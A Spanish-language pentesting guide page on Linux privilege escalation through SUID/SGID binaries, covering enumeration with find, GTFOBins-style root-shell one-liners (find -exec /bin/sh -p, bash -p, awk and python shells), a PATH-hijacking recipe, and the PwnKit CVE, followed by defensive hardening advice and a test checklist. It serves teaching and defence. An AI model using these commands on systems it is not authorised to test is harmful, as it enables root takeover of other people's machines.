Binarios SUID/SGID
El bit SUID (Set User ID) hace que un binario se ejecute con los permisos de su dueño, no de quien lo lanza. Es necesario para ciertas operaciones (p. ej. passwd necesita escribir en /etc/shadow siendo root), pero cuando un binario SUID de root hace algo que el atacante puede redirigir hacia una shell, se convierte en escalada directa a root. Es uno de los vectores de privesc en Linux más comunes y fiables.
Cómo funciona
Sección titulada «Cómo funciona»-rwsr-xr-x 1 root root ... /usr/bin/passwd ^ s en el lugar de la x del dueño = SUIDAl ejecutar un binario con SUID de root, el proceso corre como root durante su ejecución. Si ese binario permite leer/escribir ficheros arbitrarios, ejecutar comandos, o lanzar un intérprete, lo rediriges para obtener una shell de root.
Encontrar binarios SUID/SGID
Sección titulada «Encontrar binarios SUID/SGID»# SUID (dueño root ejecutando como root)find / -perm -4000 -type f 2>/dev/null# SGIDfind / -perm -2000 -type f 2>/dev/null# ambos, con detallefind / -perm -u=s -o -perm -g=s -type f 2>/dev/null -lsGTFOBins: la clave de la explotación
Sección titulada «GTFOBins: la clave de la explotación»GTFOBins cataloga cómo abusar de cada binario estándar. Si un binario SUID aparece ahí, tienes la receta exacta:
# ejemplos típicos (si tienen SUID de root)find . -exec /bin/sh -p \; -quit # find con SUID -> shell rootbash -p # bash con SUIDcp: sobrescribir /etc/passwd o /etc/shadowless/more/vi/nano: ejecutar shell desde el pager/editorawk 'BEGIN {system("/bin/sh")}'python -c 'import os;os.setuid(0);os.system("/bin/sh")'nmap --interactive (versiones viejas)El flag -p en bash/sh es importante: preserva los privilegios (sin él, bash los descarta).
Binarios custom y mal programados
Sección titulada «Binarios custom y mal programados»Los SUID no estándar (programas propios de la empresa) son especialmente jugosos:
# ¿qué hace el binario? ¿llama a otros programas sin ruta absoluta?strings /ruta/binario_suid # buscar llamadas a system(), rutas, comandosltrace / strace ./binario_suid # ver qué ejecuta en tiempo real# PATH hijacking: si llama a "service" sin ruta -> creas tu "service" malicioso en PATHexport PATH=/tmp:$PATH ; echo '/bin/sh -p' > /tmp/service ; chmod +x /tmp/service# command injection si pasa argumentos sin sanitizarUn binario SUID que llama a otro comando sin ruta absoluta (system("service x")) es vulnerable a PATH hijacking → ejecución como root.
CVEs famosos en binarios SUID
Sección titulada «CVEs famosos en binarios SUID»pkexec (Polkit) -> PwnKit (CVE-2021-4034): root en casi cualquier LinuxExim, Sendmail -> varios# siempre: cruzar el binario+versión con exploits conocidosPara la defensa
Sección titulada «Para la defensa»- Auditar y minimizar los binarios SUID/SGID: quitar el bit a los que no lo necesiten (
chmod -s). - Inventario: saber exactamente qué binarios SUID hay y por qué; alertar sobre nuevos.
- Binarios custom: nunca con SUID si llaman a otros comandos; rutas absolutas, validación de entrada, mínimo privilegio.
- Montar con
nosuidlas particiones donde no deban existir SUID (/tmp,/home, medios externos). - Parcheo (PwnKit y similares); AppArmor/SELinux para confinar.
Checklist de prueba
Sección titulada «Checklist de prueba»- Listar SUID/SGID (
find -perm -4000/-2000) - Cruzar cada uno con GTFOBins
- Explotar binarios estándar abusables (find, bash -p, cp…)
- Analizar binarios custom (strings/ltrace) por system()/PATH
- PATH hijacking si llaman comandos sin ruta absoluta
- CVEs conocidos (PwnKit/pkexec)
- Verificar flag -p para preservar privilegios
- Blue: ¿SUID minimizados, nosuid, parcheado?